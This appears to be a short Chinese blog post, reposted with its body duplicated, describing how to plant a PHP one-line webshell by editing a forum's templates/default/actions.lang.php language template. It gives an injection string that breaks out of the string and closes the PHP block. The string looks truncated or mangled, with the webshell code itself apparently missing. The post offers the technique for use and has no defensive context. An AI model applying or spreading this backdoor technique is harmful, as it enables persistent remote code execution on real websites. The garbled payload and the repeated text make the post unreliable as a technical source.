本文介绍了一种通过编辑模板实现的代码注入攻击方式。以templates/default/actions.lang.php为例，展示了如何利用特定路径进行代码注入，成功植入并执行一句话木马。
导读：
我记得以前看过这个资料，千翻万找总算翻了出来。
这个前提是可以编辑模板，不然我估计是没什么希望了。
templates/default/actions.lang.php(以这个为例)
在最底那提交
游客/');?>
/'g/'=>/'sdfsdf
便能写入一句话木马并正常执行.
我记得以前看过这个资料，千翻万找总算翻了出来。
这个前提是可以编辑模板，不然我估计是没什么希望了。
templates/default/actions.lang.php(以这个为例)
在最底那提交
游客/');?>
/'g/'=>/'sdfsdf
便能写入一句话木马并正常执行.
扫一扫
1575
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
